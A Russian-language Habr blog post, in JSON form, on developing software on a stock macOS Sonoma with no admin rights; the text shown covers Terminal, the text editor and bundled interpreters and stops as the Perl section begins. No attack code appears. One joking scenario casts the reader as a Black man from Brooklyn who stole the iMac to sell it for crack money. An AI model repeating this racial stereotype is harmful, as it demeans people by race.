{"id":430599,"date":"2024-08-28T15:02:17","date_gmt":"2024-08-28T15:02:17","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=430599"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=430599","title":{"rendered":"<span>\u041e\u043d \u0432\u0430\u043c \u043d\u0435 \u00abMacOS\u00bb<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0420\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u0438 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0442\u0432\u043e\u0440\u0438\u0442\u044c \u0441 iMac \u0431\u0435\u0437 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438\u00a0\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.  <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/a84\/22b\/02f\/a8422b02fb1de51ec3a009dc24ba9cb4.jpeg\" alt=\"\u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043f\u043e\u0434 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Apple.\" title=\"\u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043f\u043e\u0434 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Apple.\" width=\"1871\" height=\"974\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a84\/22b\/02f\/a8422b02fb1de51ec3a009dc24ba9cb4.jpeg\" data-blurred=\"true\"\/><\/p>\n<div><figcaption>\u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043f\u043e\u0434 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Apple.<\/figcaption><\/div>\n<\/figure>\n<h3>\u0422\u0430\u0439\u043d\u044b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u043e\u0432<\/h3>\n<p>Apple \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043b\u044e\u0431\u0438\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 \u043c\u044f\u0433\u043a\u043e \u0433\u043e\u0432\u043e\u0440\u044f \u043d\u0435 \u043f\u043e\u043e\u0449\u0440\u044f\u0435\u0442 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437\u044b\u0441\u043a\u0430\u043d\u0438\u044f \u0432 \u043d\u0438\u0445, \u043f\u043e \u043f\u043e\u0432\u043e\u0434\u0443 \u0438 \u0431\u0435\u0437. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e \u0447\u0442\u043e \u0443\u0436\u0435\u00a0\u0431\u044b\u043b\u0430 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Darwin_(operating_system)\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f<\/a> \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u044f\u0434\u0440\u0430 (\u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u043e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f), \u00abuserland\u00bb\u00a0\u2014 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u044b\u043b \u0438\u00a0\u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f <strong>\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c<\/strong>. <\/p>\n<p>\u041a\u043d\u0438\u0433 \u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u043f\u043e\u00a0\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u043a\u0430\u043a \u00ab\u0431\u043e\u043b\u044c\u0448\u043e\u0439\u00bb MacOS \u0442\u0430\u043a \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u043e\u0439 iOS \u043e\u0442\u043a\u0440\u043e\u0432\u0435\u043d\u043d\u043e \u043c\u0430\u043b\u043e, \u0430\u00a0\u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0442\u0430\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0441\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 <s>\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u00ab\u041f\u043e\u043b\u0435 \u0447\u0443\u0434\u0435\u0441\u00bb<\/s> \u0440\u0435\u0430\u043b\u0438\u0438 Microsoft Windows \u0432\u0440\u0435\u043c\u0435\u043d 90\u0445: <\/p>\n<blockquote>\n<p>\u043d\u0435\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0434\u043e\u043c\u044b\u0441\u043b\u044b, \u043c\u043d\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0433\u0430\u0434\u043a\u0438.<\/p>\n<\/blockquote>\n<p>\u0420\u0430\u0437\u0432\u0435 \u0447\u0442\u043e \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0438\u0442\u0443\u0430\u043b\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442. <\/p>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u043c\u043d\u043e\u0433\u0438\u0445 \u043b\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f MacOS, \u0430\u00a0\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0432\u00a0\u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0435 \u00ab\u0433\u0443\u0433\u043b\u0438\u0442\u0441\u044f\u00bb \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u0438\u043a\u0430\u043c\u0438 \u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u0430\u043b\u043e \u0430\u0444\u0438\u0448\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0435.<\/p>\n<h3>\u0427\u0442\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0434\u0435\u043b\u0430\u0442\u044c<\/h3>\n<p>\u041d\u0438\u0436\u0435 \u044f\u00a0\u043f\u043e\u043a\u0430\u0436\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u044e\u043a\u043e\u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u041f\u041e \u043d\u0430\u00a0\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u0447\u0438\u0441\u0442\u043e\u0439 <em>\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439<\/em> MacOS, \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f \u0438\u00a0<strong>\u0431\u0435\u0437 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430<\/strong>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0443\u0436\u043d\u044b \u0432 MacOS \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0434\u043b\u044f \u0432\u0441\u0435\u0433\u043e \u0431\u043e\u043b\u0435\u0435-\u043c\u0435\u043d\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e: <\/p>\n<blockquote>\n<p>\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u041e\u0421, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u041f\u041e, \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u00a0\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c \u0438 \u0434\u0430\u0436\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\u043c \u0432\u0440\u043e\u0434\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u044d\u043a\u0440\u0430\u043d\u0430. <\/p>\n<\/blockquote>\n<p>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0447\u0442\u043e\u00a0\u0432\u044b\u00a0\u2014 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043d\u0435\u0433\u0440 \u0441\u00a0\u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u0446\u0435\u043f\u044c\u044e \u0438\u0437\u00a0\u0411\u0440\u0443\u043a\u043b\u0438\u043d\u0430 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e\u00a0\u043e\u0442\u0436\u0430\u043b\u0438 \u043d\u043e\u0432\u0435\u043d\u044c\u043a\u0438\u0439 iMac \u0443\u00a0\u043a\u0430\u043a\u043e\u0433\u043e\u2011\u0442\u043e \u0431\u043e\u0442\u0430\u043d\u0430. \u0414\u043e\u0441\u0442\u0443\u043f \u043d\u0430\u00a0\u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0442\u043e\u043b \u0435\u0441\u0442\u044c (\u043e\u043d \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439), \u043d\u043e\u00a0\u043f\u0430\u0440\u043e\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b \u043d\u0435\u00a0\u0437\u043d\u0430\u0435\u0442\u0435. \u041d\u043e\u00a0\u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0442\u043e\u043b\u043a\u0430\u0442\u044c \u043f\u0430\u043b\u044c \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c\u0443 \u0441\u043a\u0443\u043f\u0449\u0438\u043a\u0443 \u0440\u0430\u0434\u0438 \u0434\u0435\u043d\u0435\u0433 \u043d\u0430\u00a0\u043a\u0440\u044d\u043a, \u0432\u044b \u0432\u0434\u0440\u0443\u0433 \u0440\u0435\u0448\u0438\u043b\u0438 \u0437\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u041f\u041e\u00a0\u043f\u043e\u0434\u00a0MacOS.<\/p>\n<blockquote>\n<p>\u0421 \u043a\u0435\u043c \u043d\u0435 \u0431\u044b\u0432\u0430\u0435\u0442.<\/p>\n<\/blockquote>\n<p>\u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043d\u0435\u00a0\u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u043f\u043e\u0442\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0435\u043a \u043f\u0440\u043e\u00a0\u0432\u0430\u0448\u0443 \u043d\u0435\u043b\u0435\u0433\u043a\u0443\u044e \u0436\u0438\u0437\u043d\u044c \u0438 \u00ab\u0432\u043a\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432\u00a0\u0418\u0422\u00bb \u0441\u0442\u043e\u043b\u044c \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c.<\/p>\n<p>(PR\u2011\u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0440\u043e\u0441\u0438\u043b \u043a\u0435\u0439\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f\u00a0\u2014 \u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b) <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8f0\/605\/30d\/8f060530dae83e0cd253a909464c938a.png\" alt=\"\u041d\u0430\u0447\u0430\u043b\u043e \u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f MacOS Sonoma, \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0444\u043e\u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438.\" title=\"\u041d\u0430\u0447\u0430\u043b\u043e \u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f MacOS Sonoma, \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0444\u043e\u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438.\" width=\"1287\" height=\"822\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8f0\/605\/30d\/8f060530dae83e0cd253a909464c938a.png\"\/><\/p>\n<div><figcaption>\u041d\u0430\u0447\u0430\u043b\u043e \u043f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f MacOS Sonoma, \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0444\u043e\u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438.<\/figcaption><\/div>\n<\/figure>\n<h3>\u0414\u0435\u0432\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430<\/h3>\n<p>\u0420\u0430\u0434\u0438 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438\u00a0\u0431\u044b\u043b\u0430 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u0430 \u0447\u0438\u0441\u0442\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u00abMacOS Sonoma\u00bb \u0432\u00a0\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435, \u0441\u00a0\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u043c \u043d\u0430\u0431\u043e\u0440\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u041f\u041e. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 \u043f\u0440\u0438\u00a0\u043f\u043e\u043a\u0443\u043f\u043a\u0435 \u0441\u0432\u0435\u0436\u0435\u0433\u043e iMac \u0432 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u00a0\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u0435 Apple <s>\u0432 NY<\/s>.<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u0440\u0430\u0442\u043a\u043e \u043f\u0440\u043e\u0439\u0434\u0443\u0441\u044c \u043f\u043e\u00a0\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c MacOS \u0438\u00a0\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u00a0\u043d\u0435\u0439 \u0435\u0441\u0442\u044c \u00ab\u0438\u0437\u00a0\u043a\u043e\u0440\u043e\u0431\u043a\u0438\u00bb. \u041d\u0430\u0447\u043d\u0435\u043c \u0441\u00a0\u0434\u0432\u0443\u0445 \u0441\u0430\u043c\u044b\u0445 \u0432\u0430\u0436\u043d\u044b\u0445 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439: \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0438\u00a0\u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430.<\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u043e\u043d\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Launchpad, \u043f\u0443\u0442\u0435\u043c \u0432\u0432\u043e\u0434\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0439 \u0432 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u043e\u0438\u0441\u043a\u0430. \u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0432\u0432\u043e\u0434\u0438\u0442\u0435 <em>terminal<\/em>, \u0434\u043b\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 <em>edit<\/em>.<\/p>\n<p>\u0412\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a20\/0d6\/e86\/a200d6e863557d8d25638684654d247f.png\" width=\"697\" height=\"483\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a20\/0d6\/e86\/a200d6e863557d8d25638684654d247f.png\"\/><\/figure>\n<p>\u0418 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 (c \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u0432\u0438\u0434\u0430 \u043d\u0430 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442):<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6b9\/aec\/09e\/6b9aec09eee86030c973bb66c84b6853.png\" width=\"957\" height=\"383\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6b9\/aec\/09e\/6b9aec09eee86030c973bb66c84b6853.png\"\/><\/figure>\n<p>MacOS \u044d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 Unix, \u0432\u00a0\u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u044b\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b: bash, grep, ps, top, pwd, uname \u0438\u00a0\u0442\u0430\u043a \u0434\u0430\u043b\u0435\u0435\u00a0\u2014 \u043e\u0442\u043b\u0438\u0447\u0438\u044f \u043e\u0442\u00a0\u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 Ubuntu \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b, \u0435\u0441\u043b\u0438 \u043d\u0435 \u043d\u0430\u0447\u0430\u0442\u044c \u0443\u0433\u043b\u0443\u0431\u043b\u044f\u0442\u044c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u0438.<\/p>\n<p>\u041d\u043e \u043a\u00a0\u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0432\u00a0\u0447\u0438\u0441\u0442\u043e\u0439 MacOS \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438\u00a0\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441\u0442\u043e\u044f\u0442 \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0438, \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u0434\u0430\u0435\u0442 \u0432\u043e\u0442 \u0442\u0430\u043a\u043e\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a22\/3c4\/bdd\/a223c4bdd266027d5d70dd7a78238a80.png\" width=\"573\" height=\"307\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a22\/3c4\/bdd\/a223c4bdd266027d5d70dd7a78238a80.png\"\/><\/figure>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e \u0434\u0430\u0436\u0435 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 MacOS \u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0434\u0432\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0442\u043e\u0440\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432: <a href=\"https:\/\/www.perl.org\/\" rel=\"noopener noreferrer nofollow\">Perl<\/a> \u0438 <a href=\"https:\/\/www.tcl-lang.org\/\" rel=\"noopener noreferrer nofollow\">Tcl<\/a>. <\/p>\n<p>\u0418 \u043a\u043e\u0435-\u0447\u0442\u043e \u0435\u0449\u0435, \u043a\u0443\u0434\u0430 \u0431\u043e\u043b\u0435\u0435 \u043c\u043e\u0449\u043d\u043e\u0435.<\/p>\n<h3>Perl<\/h3>\n<p>\u041e\u043e\u0447\u0435\u043d\u044c \u043c\u043e\u0449\u043d\u0430\u044f \u0448\u0442\u0443\u043a\u0430, \u0441\u0442\u0440\u0430\u0448\u043d\u043e\u0435 \u043e\u0440\u0443\u0436\u0438\u0435 \u0432\u00a0\u0443\u043c\u0435\u043b\u044b\u0445 \u0440\u0443\u043a\u0430\u0445 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0432\u00a0\u043b\u044e\u0431\u043e\u0439 MacOS \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u00a0\u043f\u0435\u0440\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. 